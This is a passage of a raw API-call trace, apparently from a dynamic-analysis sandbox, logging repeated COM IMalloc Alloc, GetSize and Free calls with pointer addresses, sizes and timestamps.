IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7a00) [0109.621] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f80 [0109.621] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f80) returned 0x8 [0109.622] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f80) [0109.622] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7b40 [0109.622] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7b40) returned 0x10 [0109.622] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7b40) [0109.622] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091e0 [0109.622] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091e0) returned 0x8 [0109.622] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091e0) [0109.622] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7920 [0109.622] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7920) returned 0x10 [0109.623] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7920) [0109.623] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09100 [0109.623] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09100) returned 0x8 [0109.623] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09100) [0109.623] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7ea0 [0109.623] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7ea0) returned 0x10 [0109.623] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7ea0) [0109.623] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091a0 [0109.623] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091a0) returned 0x8 [0109.624] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091a0) [0109.624] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09220 [0109.624] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09220) returned 0x8 [0109.624] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09220) [0109.624] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09100 [0109.624] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09100) returned 0x8 [0109.624] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09100) [0109.624] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09250 [0109.624] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09250) returned 0x8 [0109.625] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09250) [0109.625] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092b0 [0109.625] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092b0) returned 0x8 [0109.625] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092b0) [0109.625] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092a0 [0109.625] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) returned 0x8 [0109.625] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) [0109.625] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092b0 [0109.625] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092b0) returned 0x8 [0109.625] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092b0) [0109.625] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7980 [0109.626] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7980) returned 0x10 [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7980) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7540) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6f80) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d72c0) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68a0) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68c0) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6fe0) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e69c0) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7220) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e40) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6a40) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d74a0) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d72a0) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6fa0) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ac0) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7100) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6fc0) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d74c0) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7680) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7240) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7740) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d76c0) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d6fe0) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6a60) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ae0) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d71c0) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6900) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7300) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d71e0) [0109.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7200) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7420) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c40) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d70c0) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7020) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7480) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7460) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6a20) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6920) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b20) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7340) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7500) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7120) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7280) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7000) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7040) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7140) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d71a0) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7660) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7620) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7360) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d76a0) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7180) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7060) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7160) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7400) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ea0) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7080) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d75c0) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d6fc0) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d6f80) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d70a0) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c80) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7260) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ec0) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b50c4d0) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a0f0) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03980) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb039e0) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a3b0) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03470) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a4b0) [0109.627] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03530) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03560) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03350) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03890) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb039b0) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03500) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03ad0) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829930) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8297b0) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb037a0) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03680) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03aa0) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03b90) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03320) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03a70) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829bb0) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a130) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03b00) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb035f0) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829ab0) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03710) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03590) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03440) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03cb0) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03740) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb037d0) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03770) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03dd0) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb036b0) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb033e0) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829eb0) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829bf0) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a170) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a1f0) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03b30) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb035c0) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03860) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03ce0) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a1b0) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a330) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb038c0) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03c50) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03da0) [0109.628] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03e00) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03e30) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03620) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb036e0) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03bc0) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03a10) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb032f0) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03650) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03800) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03e60) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03b60) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03bf0) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03950) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829970) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a6b0) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03380) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03e90) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a370) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a3f0) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03ec0) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb034d0) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03830) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb033b0) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03410) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb038f0) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03c20) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03920) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03a40) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb034a0) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03d10) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03c80) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04850) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04730) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04190) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb049d0) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04100) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04550) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb044c0) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb046a0) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829c70) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04910) [0109.629] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb047f0) [0109.630] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b829cb0 [0109.630] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x34) returned 0x2764b82a330 [0109.630] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb04610 [0109.630] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb03ef0 [0109.630] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb04130 [0109.630] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb04310 [0109.630] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb04970 [0109.630] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb04760 [0109.630] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb04790 [0109.631] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb04550 [0109.631] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb040a0 [0109.631] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb04a60 [0109.631] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2764b50bcb0 [0109.631] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6780 [0109.631] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d80 [0109.631] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6da0 [0109.631] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6f00 [0109.631] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68c0 [0109.631] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6920 [0109.631] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e67a0 [0109.631] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6860 [0109.631] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a40 [0109.632] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e40 [0109.632] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6980 [0109.632] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e69c0 [0109.632] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68a0 [0109.632] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6820 [0109.632] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764b883b30 [0109.632] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b883b30) returned 0x40 [0109.640] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b883b30) [0109.640] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764b882d70 [0109.640] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b882d70) returned 0x40 [0109.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b882d70) [0109.645] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091c0 [0109.645] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091c0) returned 0x8 [0109.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091c0) [0109.646] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092a0 [0109.646] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) returned 0x8 [0109.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) [0109.646] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e60 [0109.646] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6e60) returned 0x10 [0109.648] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e60) [0109.648] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764b882aa0 [0109.648] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b882aa0) returned 0x40 [0109.839] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b882aa0) [0109.839] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d7140 [0109.839] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7140) returned 0x18 [0109.840] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7140) [0109.841] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7640 [0109.841] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7640) returned 0x10 [0109.842] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7640) [0109.842] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d7360 [0109.842] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7360) returned 0x18 [0109.844] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7360) [0109.844] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb04010 [0109.844] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb04010) returned 0x28 [0109.844] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04010) [0109.844] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb043a0 [0109.844] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb043a0) returned 0x28 [0109.845] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb043a0) [0109.845] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb04340 [0109.845] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb04340) returned 0x28 [0109.845] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04340) [0109.855] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09170 [0109.855] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09170) returned 0x8 [0109.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09170) [0109.856] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091c0 [0109.856] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091c0) returned 0x8 [0109.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091c0) [0109.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6da0) [0109.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6780) [0109.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d80) [0109.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6f00) [0109.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68a0) [0109.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6920) [0109.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6820) [0109.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e69c0) [0109.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6980) [0109.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e40) [0109.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6a40) [0109.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6860) [0109.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e67a0) [0109.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68c0) [0109.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b50bcb0) [0109.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829cb0) [0109.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a330) [0109.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04610) [0109.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03ef0) [0109.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04130) [0109.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04310) [0109.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04970) [0109.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04760) [0109.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04790) [0109.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04550) [0109.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb040a0) [0109.856] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04a60) [0109.857] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b829af0 [0109.857] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb04100 [0109.857] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb04190 [0109.858] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2764b829e70 [0109.858] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb04970 [0109.858] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b829970 [0109.858] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb041c0 [0109.858] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb04010 [0109.858] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb04490 [0109.858] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb042e0 [0109.858] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb04a60 [0109.858] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b82a5f0 [0109.859] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b829830 [0109.859] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb04340 [0109.859] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb044c0 [0109.859] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb048e0 [0109.859] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb045e0 [0109.859] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb04040 [0109.859] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb041f0 [0109.859] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb04730 [0109.859] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb04250 [0109.860] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b82a730 [0109.860] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b829930 [0109.860] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb03f20 